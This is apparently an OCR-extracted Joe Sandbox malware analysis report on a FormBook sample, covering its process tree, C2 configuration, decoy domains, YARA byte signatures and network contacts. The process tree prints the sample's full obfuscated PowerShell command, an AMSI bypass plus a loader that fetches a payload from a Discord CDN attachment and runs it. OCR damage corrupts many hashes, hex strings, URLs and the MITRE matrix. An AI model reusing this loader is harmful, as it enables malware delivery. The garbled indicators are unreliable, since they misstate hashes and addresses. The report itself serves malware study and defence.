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Windows Analysis Report s2rsXUiUn8

Overview
General Information Detection Signatures Classification
Sample s2rsXUiUn8 (renamed file 3 3
Name: extension from none to MALICIOUS Found malware configuration
exe)

Malicious sample detected (through ...
Analysis ID: 452684

Multi AV Scanner detection for subm...

MDS: f5041ec4ce468a0.

SHAL: bdaScealecadic.. System process connects to networ...
SHA256: caffl4d450514a3.. Yara detected FormBook

Tags: C2 URLs / IPs found in malware con...
Infos: Q ‘f ki & EP Injects a PE file into a foreign proce...

Most interesting Screenshot:

Maps a DLL or memory. area into

| EOHE

FormBook Modifies the context of a thread in a...
Score: 100 Modifies the prolog ofiuser mode fun...
Range: 0-100 uscated command line found
Whitelisted: false
X Queries sensitive network adapter: in...
Confidence: 100%

]

Process Tree

= System is w10x64

e [ s2rsXUiUns.exe (PID: 4440 cmdline: 'C:\Users\user\Desktop\s2rsXUiUn8.exe' MD5: F5041EC4CE468A07ECBFD076BCOF879B)

. conhost.exe (PID: 5436 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

o E¥ powershell.exe (PID: 5116 cmdline: Powershell $8B0111F552=[Ref]. Assembly.GetType('Sy'+'stem.'+'Mana'+gem'+'ent+'. Autom'+atio'+n.A'+m'+'si*+'Utils"); $835FFE1926=
'4456625220575263174452554847,$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ;$58FB808063=$8B0111F552.GetField($9F
EOADS5C66,' Non™.replace(",'Pub’)+lic,S'+'tatic’);$58 FB808063.SetValue($null $true); ($A72FIB815A=$A72FIB815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665
AABOAC5658F9ID06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674");$676544567888888888876545666778=@(91,82,101,102,93,46,65,115,115,101,1
09,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,
65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,
65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,
65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,4
1,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82
,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,
52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,8
2,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,
36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,6 7,
54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,6 7,66,48,50,65,53
,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116
,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,
125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91
,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116
,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111
,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,
102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,1
11,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,53,56,55,57,51,51,50,50,48,56,55,55,49,48,55,53,51,47,56,54,51,56,57,49,56,53,55,54,
48,56,48,49,53,57,48,50,47,111,97,100,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,5
3,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,
114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,1
20,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($6 7654456 78888888888 76545666 778)|I'"E'X MD5: 95000560239032BC68B4C2FDFCDEF913)

. calc.exe (PID: 5856 cmdline: {path} MD5: 0975EE4BD09E87C94861F69E4AA44BT7A)
o [ explorer.exe (PID: 3472 cmdline: C:\Windows\Explorer. EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)
e [ help.exe (PID: 3552 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)
o B cmd.exe (PID: 4344 cmdline: /c del 'C:\WINDOWS\syswow64\calc.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

. conhost.exe (PID: 3084 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [

"www. homekeycap.com/pjje/"

1,

"decoy": [
"itsa-lifestyle.com”,
"searchclemson.com”,
"valenciabusiness.online",
"valengz.com",
"matematika-ege.online”,
"freetreeapp.com”,
"izzyworldpros.com",
"qualityhealthsupply.com”,
"bedrockmappingllc.com”,
"sistersexlesbian.party"”,
"numerologistreading.com”,
"bearcreekcattlebeef.com”,
"trophiesandtributes.com”,
"rajuherbalandspicegarden.com”,
"code-nana.com",
"sofiepersson.com”,
"opticalsupples-kw.com",
"strawberrylinebikehire.com”,
"29thplace.com”,
"oliviabegard.com",
"hybridvenues.net",
"huo-fo.com",
"classicfirearmsny.com”,
"jlxrem.com”,
"910portablestorage.com”,
"jewelryengravings.com”,
"loudsink.com”,
"collabasia.xyz",
"northeastkitchenandbath.com”,
"bodrumdanakliyat.net",
"raimirajkumararajah.com",
"adultfeedrates.com”,
"compare-apr-rates.com”,
"ncdcnow.com”,
"huashi999.com",
"swaplenders.com",
"mission-duplex.com",
"twenty- four-sevens.com",
"growth-gmbh.com",
"flying-agent.com",
"luatsutruongquochoe.com”,
"thejewelcartel.com”,
"virtualbruins.com”,
"binhminhxanh.online",
"wnz.xyz",
"polishwithhart.com”,
"wecameforthis.com",
"iti-gov.com",
"a2zautoleasing.com",
"akhisarozbirotohaliyikama.xyz",
"tirupatipackersmovers.com”,
"virtualtheaterlive.com”,
"coronavirusfarmer.com”,
"crysdue.com”,
"cloolloy.com",
"rowynetworks.com”,
"rakennuspalveluporola.net”,
"myparadisegetaways.com”,
"funnelsamurais.com”,

"thechiropractor.vegas”,
"04att.com",
"copyrightforsupport.com”,
"hannrise.com",

"softmov.com"

Yara Overview

Memory Dumps

Source Rule

00000009.00000002.342630046.0000000003140000.00000 JoeSecurity_FormBook
040.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

Rule

00000009.00000002.342630046.0000000003140000.00000 Formbook_1

040.00000001.sdmp

00000009.00000002.342630046.0000000003140000.00000 Formbook

040.00000001.sdmp

Description

autogenerated rule
brought to you by
yara-signator

detect Formbook in
memory

00000009.00000002.341624374.0000000000400000.00000 JoeSecurity_FormBook  Yara detected

040.00000001.sdmp

00000009.00000002.341624374.0000000000400000.00000 Formbook_1

040.00000001.sdmp

Unpacked PEs

Source

9.2.calc.exe.400000.0.raw.unpack

9.2.calc.exe.400000.0.raw.unpack

9.2.calc.exe.400000.0.raw.unpack

9.2.calc.exe.400000.0.unpack

9.2.calc.exe.400000.0.unpack

Copyright Joe Security LLC 2021

Rule

FormBook

autogenerated rule
brought to you by
yara-signator

Click to see the 16 entries

Description

JoeSecurity_FormBook  Yara detected

Formbook_1

Formbook

FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook in
memory

JoeSecurity_FormBook Yara detected

Formbook_1

FormBook

autogenerated rule
brought to you by
yara-signator

Click to see the 1 entries

Author Strings

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x9b52:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15675:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa56a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c3la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x183f9:$sqlite3step: 68 34 1C 7B E1
0x1850c:$sqlite3step: 68 34 1C 7B E1
0x18428:$sqlite3text: 68 38 2A 90 C5
0x1854d:$sqlite3text: 68 38 2A 90 C5
0x1843b:$sqlite3blob: 68 53 D8 7F 8C
0x18563:$sqlite3blob: 68 53 D8 7F 8C

e 0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x9b52:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15675:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15161:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa56a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c3la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Author Strings

Joe Security

Felix Bilstein - .
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein - .
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

0x98e8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9b52:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15675:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x15161:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15777:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x158ef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa56a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x143dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb263:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b317:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1lc3la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x183f9:$sqlite3step: 68 34 1C 7B E1
0x1850c:$sqlite3step: 68 34 1C 7B E1
0x18428:$sqlite3text: 68 38 2A 90 C5
0x1854d:$sqlite3text: 68 38 2A 90 C5
0x1843b:$sqlite3blob: 68 53 D8 7F 8C
0x18563:$sqlite3blob: 68 53 D8 7F 8C

0x8ae8:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8d52:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x14875:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14361:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14977:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
Ox14aef:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x976a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x135dc:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxa463:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox1a517:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1b5la:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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Sigma Overview

System Summary: | |

Sigma detected: Non Interactive PowerShell

Jbx Signhature Overview

@ Click to jump to signature section

=

AV Detection:

Found malware configuration
Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

‘]

:

E-Banking Fraud:

Yara detected FormBook

R

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

=

]

Hooking and other Techniques for Hiding and Protection:

]‘

Malware Analysis System Evasion:

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Copyright Joe Security LLC 2021 Page 7 of 26



Stealing of Sensitive Information: | |

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netwo
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effect:
Valid Windows Path Process Rootkit Credential Query Registry Remote Credential Exfiltration Encrypted Eaves!
Accounts  Management Interception  Injection API Services API Over Other Channel Insecu
Instrumentation Hooking Hooking §§ Network Netwo
Medium Comm
Default Command and Boot or Boot or Logon Masquerading LSASS Security Software Remote Archive Exfiltration  Ingress Tool Exploit
Accounts  Scripting Logon Initialization Memory Discovery Desktop Collected  Over Transfer Redire
Interpreter Initialization  Scripts Protocol Data Bluetooth Calls/s
Scripts
Domain Shared Logon Script Logon Script Virtualization/Sandbox  Security Process Discovery SMB/Windows Data from Automated Non- Exploit
Accounts  Modules (Windows)  (Windows) Evasion Account Admin Shares Network Exfiltration  Application Track |
Manager Shared Layer Locatic
Drive Protocol
Local At (Windows) Logon Script Logon Script Process NTDS Virtualization/Sandbox Distributed Input Scheduled Application SIM Ci
Accounts (Mac) (Mac) Injection Evasion Component  Capture Transfer Layer Swap
Object Model Protocol
Cloud Cron Network Network Logon  Deobfuscate/Decode  LSA Application Window  SSH Keylogging Data Fallback Manipt
Accounts Logon Script Script Files or Secrets Discovery Transfer Channels Device
Information Size Limits Comm
Replication Launchd Rc.common  Rc.common Obfuscated Files or  Cached Remote System VNC GUI Input  Exfiltration  Multiband Jammi
Through Information Domain Discovery Capture Over C2 Communication Denial
Removable Credentials Channel Servict
Media
External Scheduled Task  Startup Startup Items Software Packing DCSync System Information ~ Windows Web Portal Exfiltration Commonly Rogue
Remote Items Discovery Remote Capture  Over Used Port Accest
Services Management Alternative
Protocol

Behavior Graph

Copyright Joe Security LLC 2021 Page 8 of 26



Behavior Graph

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

-
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Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious
Internet
@ e Ay
@
@i b
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wg

‘Ward 2016

UilUn8 TQDFIHPUIU EIVi

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
s2rsXuiung.exe 20% Metadefender Browse
s2rsXUiun8.exe 57% ReversingLabs Win64.Spyware.Noon

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download
9.2.calc.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp:/fwww.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp:/fwww.founder.com.cn/cn/bThe 0% URL Reputation safe

Copyright Joe Security LLC 2021 Page 10 of 26


https://www.metadefender.com/#!/results/file/bzIxMDcyMTJOSDNPSlZPWEM5X1lEdUNILWk/regular/analysis

Source Detection Scanner Label Link

http:/fwww.founder.com.cn/cn/bThe 0% URL Reputation safe
http:/fwww.tiro.com 0% URL Reputation safe
http:/fwww.tiro.com 0% URL Reputation safe
http:/fwww.tiro.com 0% URL Reputation safe
http:/fwww.goodfont.co.kr 0% URL Reputation safe
http:/fwww.goodfont.co.kr 0% URL Reputation safe
http:/fwww.goodfont.co.kr 0% URL Reputation safe
http:/fwww.carterandcone.coml 0% URL Reputation safe
http:/fwww.carterandcone.coml 0% URL Reputation safe
http:/fwww.carterandcone.coml 0% URL Reputation safe
http:/fwww.sajatypeworks.com 0% URL Reputation safe
http:/fwww.sajatypeworks.com 0% URL Reputation safe
http:/fwww.sajatypeworks.com 0% URL Reputation safe
http:/fwww.typography.netD 0% URL Reputation safe
http:/fwww.typography.netD 0% URL Reputation safe
http:/fwww.typography.netD 0% URL Reputation safe
http://www.founder.com.cn/cn/cThe 0% URL Reputation safe
http://www.founder.com.cn/cn/cThe 0% URL Reputation safe
http://www.founder.com.cn/cn/cThe 0% URL Reputation safe
http:/fwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http:/fwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http:/fwww.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http://fontfabrik.com 0% URL Reputation safe
http://fontfabrik.com 0% URL Reputation safe
http:/ifontfabrik.com 0% URL Reputation safe
http:/fwww.founder.com.cn/cn 0% URL Reputation safe
http:/fwww.founder.com.cn/cn 0% URL Reputation safe
http:/fwww.founder.com.cn/cn 0% URL Reputation safe
http:/fwww.rajuherbalandspicegarden.com/pjje/? 0% Avira URL Cloud safe
bxl0d=DItNRLknYIPOXZZpswXifEZmZKsLvkDXv3EaEi+D7UBg3hXwO761p4lkAwlkhMTnG44t&r48tw=4

hFOdRLhcH

http:/fwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
http:/fwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
http:/fwww.jiyu-kobo.co.jp/ 0% URL Reputation safe
www.homekeycap.com/pjje/ 0% Avira URL Cloud safe
http:/fwww.galapagosdesign.com/DPlease 0% URL Reputation safe
http:/fwww.galapagosdesign.com/DPlease 0% URL Reputation safe
http:/fwww.galapagosdesign.com/DPlease 0% URL Reputation safe
http:/fwww.sandoll.co.kr 0% URL Reputation safe
http:/fwww.sandoll.co.kr 0% URL Reputation safe
http:/fwww.sandoll.co.kr 0% URL Reputation safe
http:/fwww.urwpp.deDPlease 0% URL Reputation safe
http:/fwww.urwpp.deDPlease 0% URL Reputation safe
http:/fwww.urwpp.deDPlease 0% URL Reputation safe
http:/fwww.zhongyicts.com.cn 0% URL Reputation safe
http:/fwww.zhongyicts.com.cn 0% URL Reputation safe
http:/fwww.zhongyicts.com.cn 0% URL Reputation safe
http:/fwww.sakkal.com 0% URL Reputation safe
http:/fwww.sakkal.com 0% URL Reputation safe
http:/fwww.sakkal.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
google.com 216.58.215.238 true false high
cdn.discordapp.com 162.159.134.233 true false high
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Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain

Country Flag ASN Name Malicious

162.159.134.233

General Information

Joe Sandbox Version:
Analysis ID:

Start date:

Start time:

Joe Sandbox Product:
Overall analysis duration:
Hypervisor based Inspection enabled:
Report type:

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Copyright Joe Security LLC 2021

cdn.discordapp.com

United States 13335 CLOUDFLARENETUS false

33.0.0 White Diamond

452684

22.07.2021

17:58:33

CloudBasic

Oh 11m 3s

false

light

s2rsXUiun8 (renamed file extension from none to exe)
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
28

o o o o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.troj.evad. WinEXE@10/6 @5/2
Failed

e Successful, ratio: 54% (good quality ratio 48.4%)
e Quality average: 73.4%
e Quality standard deviation: 32%

e Successful, ratio: 97%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI

Show All
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Time
17:59:27

API Interceptor

Type Description

Joe Sandbox View | Context

IPs

Match
162.159.134.233

Domains

Match

cdn.discordapp.com

google.com

ASN

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

42x Sleep call for process: powershell.exe modified

Detection

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

Link

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Context

cdn.disco
rdapp.com/
attachment
s/78561166
4095313920
/785649743
954706472/
bin.exe

Context

162.159.13
0.233

162.159.13
0.233

162.159.13
4.233

162.159.13
4.233

162.159.12
9.233

162.159.13
4.233

162.159.13
0.233

162.159.12
9.233

162.159.13
0.233

162.159.13
5.233

162.159.13
4.233

162.159.13
0.233

162.159.13
0.233

162.159.13
5.233

162.159.13
3.233

162.159.13
0.233

162.159.13
5.233

162.159.13
5.233

162.159.13
4.233

162.159.13
3.233

216.58.215.238
172.217.168.9
172.217.168.9
172.217.168.36
172.217.168.36
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https://view.joesandbox.com/analysis/247543/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247543/html/none?idtype=webid
https://view.joesandbox.com/analysis/354554/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354554/html/none?idtype=webid
https://view.joesandbox.com/analysis/354425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354425/html/none?idtype=webid
https://view.joesandbox.com/analysis/354416/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354416/html/none?idtype=webid
https://view.joesandbox.com/analysis/354322/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354322/html/none?idtype=webid
https://view.joesandbox.com/analysis/354227/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354227/html/none?idtype=webid
https://view.joesandbox.com/analysis/354193/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354193/html/none?idtype=webid
https://view.joesandbox.com/analysis/353962/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353962/html/none?idtype=webid
https://view.joesandbox.com/analysis/353874/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353874/html/none?idtype=webid
https://view.joesandbox.com/analysis/353814/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353814/html/none?idtype=webid
https://view.joesandbox.com/analysis/353798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353798/html/none?idtype=webid
https://view.joesandbox.com/analysis/353790/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353790/html/none?idtype=webid
https://view.joesandbox.com/analysis/353786/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353786/html/none?idtype=webid
https://view.joesandbox.com/analysis/353744/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353744/html/none?idtype=webid
https://view.joesandbox.com/analysis/353701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353701/html/none?idtype=webid
https://view.joesandbox.com/analysis/353694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353694/html/none?idtype=webid
https://view.joesandbox.com/analysis/353601/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353601/html/none?idtype=webid
https://view.joesandbox.com/analysis/353489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353489/html/none?idtype=webid
https://view.joesandbox.com/analysis/353432/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353432/html/none?idtype=webid
https://view.joesandbox.com/analysis/353363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353363/html/none?idtype=webid
https://view.joesandbox.com/analysis/353360/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353360/html/none?idtype=webid
https://view.joesandbox.com/analysis/354554/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354554/html/none?idtype=webid
https://view.joesandbox.com/analysis/354355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354355/html/none?idtype=webid
https://view.joesandbox.com/analysis/354348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354348/html/none?idtype=webid
https://view.joesandbox.com/analysis/354053/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354053/html/none?idtype=webid
https://view.joesandbox.com/analysis/354001/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354001/html/none?idtype=webid

Match
UNIFIEDLAYER-AS-1US

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Dropped Files
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SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

Get hash

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

> >
3 n
] 7]
<] <]
Q, [}
2 2
@ @
-3 -3
(7] [
o o
3 3
j-3 -
® ®
P4 2
o o
3 3
® o
c c
o a
[l [

Detection
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

162.241.62.54
162.241.62.54
173.254.89.32
50.87.248.20

50.87.146.199

192.254.18
5.125

162.144.19.10
50.87.73.248
74.91.251.235
162.214.203.69
162.241.62.54
76.162.184.193
173.83.209.249
192.185.35.125
108.179.243.90
173.254.28.216

192.185.12
1.104

50.87.218.82

192.254.18
7.108

192.185.16
4.148

Context

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233

162.159.13
4.233
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https://view.joesandbox.com/analysis/354578/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354578/html/none?idtype=webid
https://view.joesandbox.com/analysis/354568/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354568/html/none?idtype=webid
https://view.joesandbox.com/analysis/354405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/354405/html/none?idtype=webid
